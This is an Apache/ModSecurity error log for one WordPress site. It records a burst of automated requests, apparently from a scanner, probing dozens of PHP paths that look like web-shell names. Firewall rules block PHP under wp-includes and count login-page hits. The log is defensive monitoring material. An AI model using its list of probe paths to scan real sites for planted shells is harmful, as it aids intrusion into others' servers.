[Thu Apr 09 16:06:15.863117 2026] [:error] [pid 24927:tid 24950] [client 216.24.210.35:26333] [client 216.24.210.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/admin.php"] [unique_id "addd9zXObuzEuw8mNJuf4AAAARQ"]
[Thu Apr 09 16:06:19.266850 2026] [:error] [pid 20837:tid 20853] [client 216.24.210.9:30365] [client 216.24.210.9] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.210.9, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/wp-login.php"] [unique_id "addd-_SL71FHZkjrGzOu7QAAAY4"]
[Thu Apr 09 16:06:19.451164 2026] [:error] [pid 20837:tid 20863] [client 216.24.210.9:30365] File does not exist: /usr/local/apache/htdocs/suspended-page/install.php
[Thu Apr 09 16:06:20.390973 2026] [:error] [pid 20837:tid 20840] [client 216.24.210.9:30365] File does not exist: /usr/local/apache/htdocs/suspended-page/bypass.php
[Thu Apr 09 16:06:20.584572 2026] [:error] [pid 20837:tid 20857] [client 216.24.210.9:30365] File does not exist: /usr/local/apache/htdocs/suspended-page/class.php
[Thu Apr 09 16:06:21.501250 2026] [:error] [pid 20837:tid 20841] [client 216.24.210.9:30365] [client 216.24.210.9] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/rest-api/about.php"] [unique_id "addd_fSL71FHZkjrGzOu-gAAAYI"]
[Thu Apr 09 16:06:22.585680 2026] [:error] [pid 24516:tid 24561] [client 216.24.210.36:23233] File does not exist: /usr/local/apache/htdocs/suspended-page/init.php
[Thu Apr 09 16:06:22.745110 2026] [:error] [pid 24516:tid 24565] [client 216.24.210.36:23233] [client 216.24.210.36] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.210.36, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/user/wp-login.php"] [unique_id "addd_thW7vSS-UkeWCUHRAAAAFI"]
[Thu Apr 09 16:06:23.175207 2026] [:error] [pid 24516:tid 24562] [client 216.24.210.36:23233] [client 216.24.210.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/item.php"] [unique_id "addd_9hW7vSS-UkeWCUHRgAAAE8"]
[Thu Apr 09 16:06:24.641248 2026] [:error] [pid 24515:tid 24540] [client 216.24.210.11:26203] File does not exist: /usr/local/apache/htdocs/suspended-page/adminfuns.php
[Thu Apr 09 16:06:25.001719 2026] [:error] [pid 24515:tid 24527] [client 216.24.210.11:26203] File does not exist: /usr/local/apache/htdocs/suspended-page/wp_wlx.php
[Thu Apr 09 16:06:25.328615 2026] [:error] [pid 24515:tid 24536] [client 216.24.210.11:26203] [client 216.24.210.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/husky301.php"] [unique_id "addeAa1OMnvM2fMnB1NMywAAABE"]
[Thu Apr 09 16:06:26.483085 2026] [:error] [pid 20837:tid 20855] [client 216.24.210.25:27445] File does not exist: /usr/local/apache/htdocs/suspended-page/wp.php
[Thu Apr 09 16:06:27.034014 2026] [:error] [pid 20837:tid 20853] [client 216.24.210.25:27445] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-header.php
[Thu Apr 09 16:06:27.408384 2026] [:error] [pid 20837:tid 20844] [client 216.24.210.25:27445] File does not exist: /usr/local/apache/htdocs/suspended-page/Marvins.php
[Thu Apr 09 16:06:27.779106 2026] [:error] [pid 20837:tid 20862] [client 216.24.210.25:27445] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-class.php
[Thu Apr 09 16:06:27.944968 2026] [:error] [pid 20837:tid 20854] [client 216.24.210.25:27445] [client 216.24.210.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/smilies/index.php"] [unique_id "addeA_SL71FHZkjrGzOvCAAAAY8"]
[Thu Apr 09 16:06:28.878185 2026] [:error] [pid 18477:tid 18496] [client 216.24.210.15:62007] File does not exist: /usr/local/apache/htdocs/suspended-page/xx.php
[Thu Apr 09 16:06:29.047328 2026] [:error] [pid 18477:tid 18487] [client 216.24.210.15:62007] File does not exist: /usr/local/apache/htdocs/suspended-page/autoload_classmap.php
[Thu Apr 09 16:06:29.211864 2026] [:error] [pid 18477:tid 18486] [client 216.24.210.15:62007] [client 216.24.210.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/classwithtostring.php"] [unique_id "addeBcDe826HlFeoLPI7zgAAAUc"]
[Thu Apr 09 16:06:30.300980 2026] [:error] [pid 24515:tid 24535] [client 216.24.210.36:25389] File does not exist: /usr/local/apache/htdocs/suspended-page/content.php
[Thu Apr 09 16:06:30.644655 2026] [:error] [pid 24515:tid 24543] [client 216.24.210.36:25389] [client 216.24.210.36] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.210.36, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/wp-login.php"] [unique_id "addeBq1OMnvM2fMnB1NM0QAAABg"]
[Thu Apr 09 16:06:30.834215 2026] [:error] [pid 24515:tid 24530] [client 216.24.210.36:25389] [client 216.24.210.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/rest-api/endpoints/index.php"] [unique_id "addeBq1OMnvM2fMnB1NM0gAAAAs"]
[Thu Apr 09 16:06:33.226962 2026] [:error] [pid 24624:tid 24627] [client 216.24.210.38:29635] File does not exist: /usr/local/apache/htdocs/suspended-page/web.php
[Thu Apr 09 16:06:34.432143 2026] [:error] [pid 24624:tid 24649] [client 216.24.210.38:29635] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-trackback.php
[Thu Apr 09 16:06:34.610514 2026] [:error] [pid 24624:tid 24634] [client 216.24.210.38:29635] [client 216.24.210.38] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/style-engine/bypass.php"] [unique_id "addeCu4Jn-WvK1ZBTviVBAAAAMg"]
[Thu Apr 09 16:06:35.547161 2026] [:error] [pid 24927:tid 24936] [client 216.24.210.18:27539] File does not exist: /usr/local/apache/htdocs/suspended-page/radio.php
[Thu Apr 09 16:06:36.145194 2026] [:error] [pid 24927:tid 24948] [client 216.24.210.18:27539] [client 216.24.210.18] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.210.18, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/midnight/wp-login.php"] [unique_id "addeDDXObuzEuw8mNJugDQAAARI"]
[Thu Apr 09 16:06:36.314104 2026] [:error] [pid 24927:tid 24938] [client 216.24.210.18:27539] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-conflg.php
[Thu Apr 09 16:06:36.494377 2026] [:error] [pid 24927:tid 24940] [client 216.24.210.18:27539] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-setup.php
[Thu Apr 09 16:06:36.656532 2026] [:error] [pid 24927:tid 24952] [client 216.24.210.18:27539] File does not exist: /usr/local/apache/htdocs/suspended-page/ms-themes.php
[Thu Apr 09 16:06:36.843560 2026] [:error] [pid 24927:tid 24937] [client 216.24.210.18:27539] [client 216.24.210.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/about.php"] [unique_id "addeDDXObuzEuw8mNJugFAAAAQc"]
[Thu Apr 09 16:06:38.015971 2026] [:error] [pid 24515:tid 24541] [client 216.24.210.15:45773] File does not exist: /usr/local/apache/htdocs/suspended-page/style.php
[Thu Apr 09 16:06:38.227792 2026] [:error] [pid 24515:tid 24526] [client 216.24.210.15:45773] [client 216.24.210.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/infi.php"] [unique_id "addeDq1OMnvM2fMnB1NM1gAAAAc"]
[Thu Apr 09 16:06:39.267668 2026] [:error] [pid 24515:tid 24536] [client 216.24.210.36:43915] File does not exist: /usr/local/apache/htdocs/suspended-page/x.php
[Thu Apr 09 16:06:39.452736 2026] [:error] [pid 24515:tid 24522] [client 216.24.210.36:43915] [client 216.24.210.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/IXR/index.php"] [unique_id "addeD61OMnvM2fMnB1NM3gAAAAM"]
[Thu Apr 09 16:06:40.260498 2026] [:error] [pid 24515:tid 24530] [client 216.24.210.41:41337] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-user.php
[Thu Apr 09 16:06:40.425805 2026] [:error] [pid 24515:tid 24537] [client 216.24.210.41:41337] [client 216.24.210.41] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/pomo/about.php"] [unique_id "addeEK1OMnvM2fMnB1NM5AAAABI"]
[Thu Apr 09 16:06:40.866994 2026] [:error] [pid 20837:tid 20848] [client 216.24.210.13:47405] [client 216.24.210.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/pomo/index.php"] [unique_id "addeEPSL71FHZkjrGzOvFAAAAYk"]
[Thu Apr 09 16:06:42.321951 2026] [:error] [pid 24927:tid 24947] [client 216.24.210.35:63159] File does not exist: /usr/local/apache/htdocs/suspended-page/config.php
[Thu Apr 09 16:06:42.487323 2026] [:error] [pid 24927:tid 24941] [client 216.24.210.35:63159] File does not exist: /usr/local/apache/htdocs/suspended-page/special.php
[Thu Apr 09 16:06:43.194174 2026] [:error] [pid 24927:tid 24934] [client 216.24.210.35:63159] [client 216.24.210.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/block-patterns/autoload_classmap.php"] [unique_id "addeEzXObuzEuw8mNJugJgAAAQQ"]
[Thu Apr 09 16:06:43.951840 2026] [:error] [pid 20837:tid 20853] [client 216.24.210.18:47057] [client 216.24.210.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/certificates/about.php"] [unique_id "addeE_SL71FHZkjrGzOvGAAAAY4"]
[Thu Apr 09 16:06:45.196950 2026] [:error] [pid 24515:tid 24521] [client 173.239.218.150:34531] [client 173.239.218.150] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/edit.php"] [unique_id "addeFa1OMnvM2fMnB1NM7AAAAAI"]
[Thu Apr 09 16:06:45.955962 2026] [:error] [pid 18477:tid 18481] [client 216.24.210.37:41095] File does not exist: /usr/local/apache/htdocs/suspended-page/webdb.php
[Thu Apr 09 16:06:46.309114 2026] [:error] [pid 18477:tid 18498] [client 216.24.210.37:41095] File does not exist: /usr/local/apache/htdocs/suspended-page/file2.php
[Thu Apr 09 16:06:46.490365 2026] [:error] [pid 18477:tid 18503] [client 216.24.210.37:41095] [client 216.24.210.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID3/wp-work.php"] [unique_id "addeFsDe826HlFeoLPI73QAAAVg"]
[Thu Apr 09 16:06:47.300268 2026] [:error] [pid 20837:tid 20859] [client 216.24.210.2:20389] File does not exist: /usr/local/apache/htdocs/suspended-page/alfa.php
[Thu Apr 09 16:06:47.633683 2026] [:error] [pid 20837:tid 20847] [client 216.24.210.2:20389] [client 216.24.210.2] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/click.php"] [unique_id "addeF_SL71FHZkjrGzOvHwAAAYg"]
[Thu Apr 09 16:06:50.188115 2026] [:error] [pid 24517:tid 24586] [client 216.24.210.19:22955] [client 216.24.210.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/random_compat/chosen.php"] [unique_id "addeGnboYEn2ZFM_PS9e_gAAAIw"]
[Thu Apr 09 16:06:51.041446 2026] [:error] [pid 18477:tid 18489] [client 216.24.210.23:53241] File does not exist: /usr/local/apache/htdocs/suspended-page/edit.php
[Thu Apr 09 16:06:51.606823 2026] [:error] [pid 18477:tid 18485] [client 216.24.210.23:53241] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-links-opml.php
[Thu Apr 09 16:06:51.967917 2026] [:error] [pid 18477:tid 18494] [client 216.24.210.23:53241] File does not exist: /usr/local/apache/htdocs/suspended-page/atomlib.php
[Thu Apr 09 16:06:52.155594 2026] [:error] [pid 18477:tid 18483] [client 216.24.210.23:53241] [client 216.24.210.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/jquery/bypass.php"] [unique_id "addeHMDe826HlFeoLPI76wAAAUQ"]
[Thu Apr 09 16:06:53.089762 2026] [:error] [pid 24624:tid 24636] [client 216.24.210.5:28173] [client 216.24.210.5] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/xl2023.php"] [unique_id "addeHe4Jn-WvK1ZBTviVCgAAAMo"]
[Thu Apr 09 16:06:55.001944 2026] [:error] [pid 24927:tid 24952] [client 216.24.210.18:27487] [client 216.24.210.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/certificates/admin.php"] [unique_id "addeHzXObuzEuw8mNJugOQAAARY"]
[Thu Apr 09 16:06:55.489376 2026] [:error] [pid 20837:tid 20848] [client 216.24.210.17:54907] [client 216.24.210.17] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/media/dog.php"] [unique_id "addeH_SL71FHZkjrGzOvKQAAAYk"]
[Thu Apr 09 16:06:55.998230 2026] [:error] [pid 18477:tid 18487] [client 216.24.210.34:42597] File does not exist: /usr/local/apache/htdocs/suspended-page/xp.php
[Thu Apr 09 16:06:56.172544 2026] [:error] [pid 18477:tid 18486] [client 216.24.210.34:42597] [client 216.24.210.34] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/applicationd.php"] [unique_id "addeIMDe826HlFeoLPI78AAAAUc"]
[Thu Apr 09 16:06:57.002847 2026] [:error] [pid 18477:tid 18491] [client 216.24.210.5:63143] [client 216.24.210.5] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "addeIcDe826HlFeoLPI78gAAAUw"]
[Thu Apr 09 16:06:57.573152 2026] [:error] [pid 20837:tid 20853] [client 216.24.210.18:30661] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-links.php
[Thu Apr 09 16:06:57.923719 2026] [:error] [pid 20837:tid 20846] [client 216.24.210.18:30661] [client 216.24.210.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "addeIfSL71FHZkjrGzOvLgAAAYc"]
[Thu Apr 09 16:06:58.910792 2026] [:error] [pid 20837:tid 20854] [client 216.24.210.15:64453] [client 216.24.210.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID3/index.php"] [unique_id "addeIvSL71FHZkjrGzOvMQAAAY8"]
[Thu Apr 09 16:06:59.412392 2026] [:error] [pid 24515:tid 24529] [client 216.24.210.6:44307] [client 216.24.210.6] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/pomo/admin.php"] [unique_id "addeI61OMnvM2fMnB1NNBAAAAAo"]
[Thu Apr 09 16:06:59.810541 2026] [:error] [pid 24515:tid 24541] [client 216.24.210.22:33287] [client 216.24.210.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/IXR/security.php"] [unique_id "addeI61OMnvM2fMnB1NNBgAAABY"]
[Thu Apr 09 16:07:00.430594 2026] [:error] [pid 24927:tid 24950] [client 216.24.210.45:40437] [client 216.24.210.45] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Requests/autoload_classmap.php"] [unique_id "addeJDXObuzEuw8mNJugOwAAARQ"]
[Thu Apr 09 16:07:01.479558 2026] [:error] [pid 24927:tid 24954] [client 216.24.210.2:48353] [client 216.24.210.2] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/fonts/about.php"] [unique_id "addeJTXObuzEuw8mNJugPwAAARg"]
[Thu Apr 09 16:07:02.415348 2026] [:error] [pid 18477:tid 18483] [client 216.24.210.40:35953] File does not exist: /usr/local/apache/htdocs/suspended-page/moon.php
[Thu Apr 09 16:07:02.929892 2026] [:error] [pid 18477:tid 18503] [client 216.24.210.40:35953] File does not exist: /usr/local/apache/htdocs/suspended-page/webadmin.php
[Thu Apr 09 16:07:03.093104 2026] [:error] [pid 18477:tid 18499] [client 216.24.210.40:35953] [client 216.24.210.40] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/PHPMailer/about.php"] [unique_id "addeJ8De826HlFeoLPI7_gAAAVQ"]
[Thu Apr 09 16:07:04.192391 2026] [:error] [pid 18477:tid 18491] [client 216.24.210.13:51633] File does not exist: /usr/local/apache/htdocs/suspended-page/xl2023.php
[Thu Apr 09 16:07:04.360064 2026] [:error] [pid 18477:tid 18500] [client 216.24.210.13:51633] File does not exist: /usr/local/apache/htdocs/suspended-page/go.php
[Thu Apr 09 16:07:05.227316 2026] [:error] [pid 18477:tid 18501] [client 216.24.210.13:51633] [client 216.24.210.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/file.php"] [unique_id "addeKcDe826HlFeoLPI8CQAAAVY"]
[Thu Apr 09 16:07:06.448934 2026] [:error] [pid 24927:tid 24940] [client 216.24.210.45:36839] [client 216.24.210.45] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/customize/dedi1.php"] [unique_id "addeKjXObuzEuw8mNJugSAAAAQo"]
[Thu Apr 09 16:07:08.056125 2026] [:error] [pid 24624:tid 24632] [client 216.24.210.35:43053] [client 216.24.210.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/pomo/autoload_classmap.php"] [unique_id "addeLO4Jn-WvK1ZBTviVDQAAAMY"]
[Thu Apr 09 16:07:09.160070 2026] [:error] [pid 24624:tid 24630] [client 173.239.218.150:30549] [client 173.239.218.150] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/wp-login.php"] [unique_id "addeLe4Jn-WvK1ZBTviVFQAAAMQ"]
[Thu Apr 09 16:07:12.734498 2026] [:error] [pid 18477:tid 18482] [client 216.24.210.43:47263] File does not exist: /usr/local/apache/htdocs/suspended-page/hehehehe.php
[Thu Apr 09 16:07:12.902596 2026] [:error] [pid 18477:tid 18492] [client 216.24.210.43:47263] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/install.php
[Thu Apr 09 16:07:13.166377 2026] [:error] [pid 18477:tid 18485] [client 216.24.210.43:47263] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/plugins.php
[Thu Apr 09 16:07:13.339467 2026] [:error] [pid 18477:tid 18479] [client 216.24.210.43:47263] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/license.php
